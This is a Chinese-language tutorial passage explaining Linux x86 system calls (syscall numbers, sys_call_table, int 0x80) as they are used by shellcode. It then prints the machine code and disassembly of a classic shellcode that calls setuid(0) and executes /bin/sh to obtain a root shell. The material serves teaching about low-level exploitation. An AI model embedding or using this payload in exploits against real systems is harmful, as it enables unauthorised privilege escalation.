系统调用是用户态和内核态之间的一座桥梁,大多数操作系统都提供了许多核心函数以供应用程序访问,shellcode当然也需要调用这些函数来完成特定功能。Linux系统提供的核心函数可以方便的实现文件访问、命令执行、网络通信等功能,这些函数就被称为系统调用(System Call)。
为了标识每一个系统调用,在Linux中定义了系统调用号,具体可以到/usr/include/asm/unistd_32.h文件中进行查看;为了将系统调用号和相应的服务例程结合起来,在Linux中还定义了系统调用表sys_call_table,它是一个指针数组,每个元素都指向其下标对应的系统调用号的封装例程。
在linux-headers中也能找到它们的定义,以版本2.6.35为例:
- 系统调用号 – linux-2.6.35/arch/x86/include/asm/unistd_32.h
- 系统调用表 – linux-2.6.35/arch/x86/kernel/syscall_table_32.S
系统调用一般都是通过软件中断实现的。在x86系统中,软件中断由int 0x80指令产生,128号异常处理程序就是系统调用处理程序system_call()。用户程序需要系统提供服务的时候,会产生一个int 0x80的软中断,并通过寄存器eax传递一个系统调用号,系统调用处理程序通过此号从系统调用表中找到相应的内核函数执行,最后返回。
下面的机器码通过系统调用实现了根用户shell提示符的获取。
31 C0 31 DB B0 17 CD 80 EB 1F 5E 89 76 08 31 C0 88 46 07 89 46 0C B0 0B 89 F3 8D 4E 08 8D 56 0C CD 80 31 DB 89 D8 40 CD 80 E8 DC FF FF FF 2F 62 69 6E 2F 73 68
可以借助反汇编工具查看上述机器码的汇编代码:
seg000:00000000 loc_0: seg000:00000000 xor eax, eax seg000:00000002 xor ebx, ebx seg000:00000004 mov al, 17h ; 23 - LINUX - sys_setuid seg000:00000006 int 80h ; system_call seg000:00000008 jmp short loc_29 seg000:0000000A sub_A: seg000:0000000A pop esi seg000:0000000B mov [esi+8], esi seg000:0000000E xor eax, eax seg000:00000010 mov [esi+7], al seg000:00000013 mov [esi+0Ch], eax seg000:00000016 mov al, 0Bh ; 11 - LINUX - sys_execve seg000:00000018 mov ebx, esi ; file seg000:0000001A lea ecx, [esi+8] ; argv seg000:0000001D lea edx, [esi+0Ch] ; envp seg000:00000020 int 80h ; system_call seg000:00000022 xor ebx, ebx seg000:00000024 mov eax, ebx seg000:00000026 inc eax ; 1 - LINUX - sys_exit seg000:00000027 int 80h ; system_call seg000:00000029 loc_29: seg000:00000029 call sub_A seg000:0000002E db 2Fh ; / seg000:0000002F db 62h ; b seg000:00000030 db 69h ; i seg000:00000031 db 6Eh ; n seg000:00000032 db 2Fh ; / seg000:00000033 db 73h ; s seg000:00000034 db 68h ; h seg000:00000035 db 0 seg000:00000036 db 0